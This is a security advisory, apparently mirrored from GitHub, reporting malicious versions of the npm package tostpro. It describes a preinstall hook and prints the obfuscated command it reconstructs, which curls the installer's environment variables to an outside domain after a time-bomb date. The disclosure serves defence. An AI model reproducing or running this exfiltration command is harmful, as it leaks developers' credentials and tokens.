# GHSA-462H-3MH4-GH4M: Malicious code in tostpro (npm)

- Database: GitHub
- Malicious package: yes
- Published: 2026-10-05
- Modified: 2026-10-11

## Affected versions

- tostpro (npm): 100.6.0
- tostpro (npm): 100.2.0
- tostpro (npm): 100.7.0

## Description

## Source: amazon-inspector (2b31f6e946441400814984e1285717f9b2ee7fe5dacb7f0433f89396648a6183)
The npm package tostpro@100.2.0 ships a preinstall lifecycle hook that invokes test.sh, which runs automatically on `npm install`. The script assembles the command `curl` and the data source `env` from single-letter shell variables (b=e, i=c, s=n, h=u, a=v, l=rl) and splits the destination into `dom=https://abbishal.` plus `tld=com`, reconstructing them at runtime as `$i$h$l -d "`$b$s$a`" $dom$tld/sh/poc`. Execution is gated by `if [ `date +%s` -gt 1791141300 ]` (a Unix timestamp corresponding to roughly 2026-10-04); once that deadline passes, the output of `env` — the installer's full process environment, which routinely contains CI tokens, cloud credentials, and API keys — is POSTed to https://abbishal.com/sh/poc. The README states "No network access. No data collection," directly contradicting the shipped behavior. The string-splitting obfuscation, time-bomb gate, and cover-story README together indicate deliberate evasion.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/28e8e300c79177f2cb1eb131ae981c3c0e639495/osv/malicious/npm/tostpro/MAL-2026-17564.json))

## References

- https://github.com/ossf/malicious-packages/blob/28e8e300c79177f2cb1eb131ae981c3c0e639495/osv/malicious/npm/tostpro/MAL-2026-17564.json
- https://www.npmjs.com/package/tostpro/v/100.2.0
- https://www.npmjs.com/package/tostpro/v/100.6.0
- https://github.com/ossf/malicious-packages/blob/2bb9370d891283643f919e860abea2cc197b0b3b/osv/malicious/npm/tostpro/MAL-2026-17564.json
- https://www.npmjs.com/package/tostpro/v/100.7.0
- https://github.com/advisories/GHSA-462h-3mh4-gh4m

Page: https://cve.now/GHSA-462H-3MH4-GH4M

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
